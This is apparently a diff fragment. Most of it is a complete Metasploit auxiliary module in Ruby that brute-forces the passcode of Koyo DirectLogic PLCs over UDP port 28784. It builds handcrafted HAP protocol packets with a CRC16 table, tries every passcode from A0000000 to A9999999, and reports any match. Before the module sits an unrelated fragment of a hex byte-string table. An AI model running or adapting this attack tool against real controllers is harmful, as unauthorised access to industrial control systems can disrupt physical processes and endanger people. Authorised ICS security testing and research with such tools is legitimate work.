"\x80\x80\x80\xD4\x80\x80\x80\xD5\x80\x80\x80\xD6\x80\x80\x80\xD7\x80\x80\x80\xD8" +
"\x80\x80\x80\xD9\x80\x80\x80\xDA\x80\x80\x80\xDB\x80\x80\x80\xDC\x80\x80\x80\xDD" +
"\x80\x80\x80\xDE\x80\x80\x80\x00\x00\x00\x80\x00\x00\x01\x80\xE1\x80\x80\x80\xE2" +
"\x80\x80\x80\xE3\x80\x80\x80\xE4\x80\x80\x80\xE5\x80\x80\x80\xE6\x80\x80\x80\xE7" +
"\x80\x80\x80\xE8\x80\x80\x80\xE9\x80\x80\x80\xEA\x80\x80\x80\xEB\x80\x80\x80\xEC" +
"\x80\x80\x00\x80\x00\x00\x00\x7F\xFF\xBC\x80\xEF\x80\x80\x80\xF0\x80\x80\x80\xF1" +
"\x80\x80\x80\xF2\x80\x80\x80\xF3\x80\x80\x80\xF4\x80\x80\x80\xF5\x80\x80\x80\xF6" +
"\x80\x80\x80\xF7\x80\x80\x80\xF8\x80\x80\x80\xF9\x80\x80\x80\xFA\x80\x80\x80\xFB" +
"\x80\x80\x80\xFC\x80\x80\x80\xFD\x80\x80\x80\xFE\x80\x80\x81\x80\x80\x80\x81\x81" +
"\x80\x80\x81\x82\x80\x80\x81\x83\x80\x80\x81\x84\x80\x80\x81\x85\x80\x80\x81\x86" +
"\x80\x80\x81\x87\x80\x80\x81\x88\x80\x80\x81\x89\x80\x80\x81\x8A\x80\x80\x81\x8B" +
"\x80\x80\x81\x8C\x80\x80\x81\x8D\x80\x80\x81\x8E\x80\x80\x81\x8F\x80\x80\x81\x90" +
"\x80\x80\x81\x91\x80\x80\x81\x92\x80\x80\x81\x93\x80\x80\x81\x94\x80\x80\x81\x95" +
"\x80\x80\x81\x96\x80\x80\x81\x97\x80\x80\x81\x98\x80\x80\x81\x99\x80\x80\x81\x9A" +
"\x80\x80\x81\x9B\x80\x80\x81\x9C\x80\x80\x81\x9D\x80\x80\x81\x9E\x80\x80\x81\x9F" +
"\x80\x80\x81\xA0\x80\x80\x81\xA1\x80\x80\x81\xA2\x80\x80\x81\xA3\x80\x80\x81\xA4" +
"\x80\x80\x81\xA5\x80\x80\x81\xA6\x80\x80\x81\xA7\x80\x80\x81\xA8\x80\x80\x81\xA9" +
"\x80\x80\x81\xAA\x80\x80\x81\xAB\x80\x80\x81\xAC\x80\x80\x81\xAD\x80\x80\x81\xAE" +
"\x80\x80\x81\xAF\x80\x80\x81\xB0\x80\x80\x81\xB1\x80\x80\x81\xB2\x80\x80\x81\xB3" +
"\x80\x80\x81\xB4\x80\x80\x81\xB5\x80\x80\x81\xB6\x80\x80\x81\xB7\x80\x80\x81\xB8" +
"\x80\x80\x81\xB9\x80\x80\x81\xBA\x80\x80\x81\xBB\x80\x80\x81\xBC\x80\x80\x81\xBD" +
"\x80\x80\x81\xBE\x80\x80\x81\xBF\x80\x80\x81\xC0\x80\x80\x81\xC1\x80\x80\x81\xC2" +
"\x80\x80\x81\xC3\x80\x80\x81\xC4\x80\x80\x81\xC5\x80\x80\x81\xC6\x80\x80\x81\xC7" +
"\x80\x80\x81\xC8\x80\x80\x81\xC9\x80\x80\x81\xCA\x80\x80\x81\xCB\x80\x80\x81\xCC" +
"\x80\x80\x81\xCD\x80\x80\x81\xCE\x80\x80\x81\xCF\x80\x80\x81\xD0\x80\x80\x81\xD1" +
"\x80\x80\x81\xD2\x80\x80\x81\xD3\x80\x80\x81\xD4\x80\x80\x81\xD5\x80\x80\x81\xD6" +
"\x80\x80\x81\xD7\x80\x80\x81\xD8\x80\x80\x81\xD9\x80\x80\x81\xDA\x80\x80\x81\xDB" +
"\x80\x80\x81\xDC\x80\x80\x81\xDD\x80\x80\x81\xDE\x80\x80\x81\xDF\x80\x80\x81\xE0" +
"\x80\x80\x81\xE1\x80\x80\x81\xE2\x80\x80\x81\xE3\x80\x80\x81\xE4\x80\x80\x81\xE5" +
"\x80\x80\x81\xE6\x80\x80\x81\xE7\x80\x80\x81\xE8\x80\x80\x81\xE9\x80\x80\x81\xEA" +
"\x80\x80\x81\xEB\x80\x80\x81\xEC\x80\x80\x81\xED\x80\x80\x81\xEE\x80\x80\x81\xEF" +
"\x80\x80\x81\xF0\x80\x80\x81\xF1\x80\x80\x81\xF2\x80\x80\x81\xF3\x80\x80\x81\xF4" +
"\x80\x80\x81\xF5\x80\x80\x81\xF6\x80\x80\x81\xF7\x80\x80\x81\xF8\x80\x80\x81\xF9" +
"\x80\x80\x81\xFA\x80\x80\x81\xFB\x80\x80\x81\xFC\x80\x80\x81\xFD\x80\x80\x81\xFE" +
"\x80\x80\x82\x80\x80\x80\x82\x81"
end
end

View File

@ -0,0 +1,188 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
# msfdev is going to want a bunch of other stuff for style/compat but this works
# TODO: Make into a real AuthBrute module, although the password pattern is fixed
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility',
'Version' => '$Revision$',
'Description' => %q{
This module attempts to authenticate to
a locked Koyo DirectLogic PLC. The PLC uses a restrictive
passcode, which can be A0000000 through A9999999.
This module is based on the original 'koyobrute.rb' Basecamp module from
DigitalBond.
},
'Author' =>
[
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'DisclosureDate' => 'Jan 19 2012',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
)
register_options(
[
OptAddress.new('LHOST', [false, "The local IP address to bind to"]),
OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
Opt::RPORT(28784)
], self.class)
@CCITT_16 = [
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
]
end
def run_host(ip)
@udp_sock ||= {}
@udp_sock[ip] = Rex::Socket::Udp.create(
'LocalHost' => datastore['LHOST'] || nil,
'PeerHost' => ip,
'PeerPort' => rport,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
)
print_status("#{ip}:#{rport} - KOYO - Checking the controller for locked memory...")
if unlock_check(ip)
print_good("#{ip}:#{rport} - Unlocked!")
return
else
print_status("#{ip}:#{rport} - KOYO - Controller locked; commencing bruteforce...")
end
# TODO: Consider sort_by {rand} in order to avoid sequential guessing
# or something fancier
(0..9999999).each do |i|
passcode = 'A' + i.to_s.rjust(7,'0')
vprint_status("#{ip}:#{rport} - KOYO - Trying #{passcode}")
bytes = passcode.scan(/../).map { |x| x.to_i(16) }
passstr = bytes.pack("c*")
print_debug passstr.inspect
res = try_auth(ip, passstr)
if res
print_good "#{ip}:#{rport} - KOYO - Found passcode: #{passcode}"
report_auth_info(
:host => ip,
:port => rport,
:proto => 'udp',
:user => '',
:pass => passcode, # NOTE: Human readable
:active => true
)
break
end
end
end
def crc16(buf, crc=0)
buf.each_byte{|x| crc = ((crc<<8) ^ @CCITT_16[(crc>>8) ^ x])&0xffff}
[crc].pack("S")
end
def unlock_check(ip)
checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52"
@udp_sock[ip].sendto(checkpacket, ip, datastore['RPORT'].to_i)
recvpacks = 0
# TODO: Since the packet count is critical, consider using Capture instead,
# but that requires root which is mildly annoying and not cross-platform.
# IOW, not a hugely good way to solve this via packet counting, given the nature
# of UDP.
#
# Another way to speed things up is to use fancy threading, but that's for another
# day.
while (r = @udp_sock[ip].recvfrom(65535, 0.1) and recvpacks < 2)
res = r[0]
if res.length == 269 # auth reply packet
if res[17] == "\x00" and res[19] == "\xD2" # Magic bytes
return true
end
end
recvpacks += 1
end
return false
end
def try_auth(ip, passstr)
data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf"
header = "HAP"
header += "\xe5\x01" # random session ID
header += crc16(data)
header += [data.length].pack("S")
authpacket = header + data
@udp_sock[ip].sendto(authpacket, ip, datastore['RPORT'].to_i, 0)
2.times { @udp_sock[ip].get(recv_timeout) } # talk to the hand
status = unlock_check(ip)
return status
end
def recv_timeout
if datastore['RECV_TIMEOUT'].to_i.zero?
3
else
datastore['RECV_TIMEOUT'].to_i.abs
end
end
def cleanup
@udp_sock.each_pair { |ip,sock| sock.shutdown rescue nil}
end
end